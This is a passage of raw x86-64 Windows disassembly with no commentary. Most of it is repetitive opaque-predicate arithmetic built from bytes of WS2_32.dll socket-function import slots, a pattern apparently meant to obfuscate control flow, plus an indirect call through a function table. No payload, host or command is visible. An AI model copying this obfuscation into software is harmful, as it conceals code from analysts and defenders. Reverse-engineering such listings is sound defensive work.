movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107c01
movsx ecx, byte [0x140341580]
imul ecx, r10d
imul edx, ecx, 7
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14010780b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401076bf
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401076bf
mov dword [rbp - 0x5c], 9
jmp 0x140107713
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107713
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x5c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010778c
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14010778c
mov dword [rbp - 0x50], 9
jmp 0x1401077e0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401077e0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x50], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x50]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x5c]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx edx, byte [0x140341580]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401079f4
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401078a7
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401078a7
mov dword [rbp - 0x64], 9
jmp 0x1401078fb
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401078fb
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x64], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107975
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107975
mov dword [rbp - 0x60], 9
jmp 0x1401079c9
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401079c9
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x60]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x64]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
lea ecx, [rdi + r14]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107c01
mov eax, dword [rsp + 0x60]
add eax, 0x2b
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107aa6
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107aa6
mov dword [rbp - 0x6c], 9
jmp 0x140107afa
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107afa
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
mov eax, dword [rsp + 0x60]
add eax, 0x2b
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107b82
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107b82
mov dword [rbp - 0x68], 9
jmp 0x140107bd6
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107bd6
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x68]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x6c]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*8]
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107df0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a628]
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107ca0
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107ca0
mov dword [rbp - 0x78], 9
jmp 0x140107cf4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107cf4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a628]
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107d71
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107d71
mov dword [rbp - 0x70], 9
jmp 0x140107dc5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107dc5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x70]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x78]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140107420
xor r12d, r12d
mov byte [r9], 1
mov eax, dword [r9 + 4]
lea r10, [0x140000000]
mov r10, qword [r10 + rax*8 + 0x33f9d0]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140112fd4]
xor edx, edx
xor ecx, ecx
call r10
mov qword [0x140341520], rax
mov r13d, r12d
mov dword [rbp - 0x40], r12d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea r8d, [rcx + rdx*4]
mov dword [rsp + 0x78], r8d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add r15d, ecx
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.1401379f4
movsx ecx, al
add esi, ecx
call fcn.1401379e4
movsx edi, al
call fcn.1401379e8
movsx ecx, al
imul edi, ecx
call fcn.1401379f4
movsx r14d, al
movsd xmm6, qword [0x14016a630]
movsd xmm7, qword [0x14016a638]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r8d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107f9b
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140107f9b
mov r12d, 9
mov eax, r12d
mov dword [rbp - 0x50], eax
jmp 0x140107ff7
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r12d, 9
cmp eax, ecx
je 0x140107ff4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x140107f96
mov eax, dword [rbp - 0x50]
cmp r13d, eax
jge 0x140108aaa
mov byte [rsp + 0x70], 0
mov r12d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x68], r12
mov r13d, dword [rbp - 0x58]
lea rdx, [rbp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.1400df5ac
mov r9, rax
cmp byte [rax], 0
jne 0x140108a38
mov dword [rsp + 0x60], 0
mov ecx, dword [rsp + 0x60]
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
mov r12d, dword [rbp + 0x14]
movsx edx, byte [0x140341580]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140108235
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401080f1
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401080f1
mov r13d, 9
jmp 0x140108142
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108142
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401081ba
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401081ba
mov r12d, 9
jmp 0x14010820b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010820b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, r12d
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, r13d
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x78]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108831
movsx ecx, byte [0x140341580]
imul ecx, r10d
imul edx, ecx, 7
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140108445
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a628]
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401082f8
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401082f8
mov dword [rbp - 0x60], 9
jmp 0x14010834b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010834b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14016a628]
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401083c7
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401083c7
mov dword [rbp - 0x5c], 9
jmp 0x14010841a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010841a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x5c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x5c]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x60]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx edx, byte [0x140341580]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140108628
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401084df
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401084df
mov dword [rbp - 0x68], 9
jmp 0x140108532
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140108532
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x58], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401085aa
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401085aa
mov dword [rbp - 0x64], 9
jmp 0x1401085fd
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401085fd
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x58]
cvttsd2si eax, xmm0
mov dword [rbp - 0x64], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x64]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x68]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
lea ecx, [rdi + r14]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
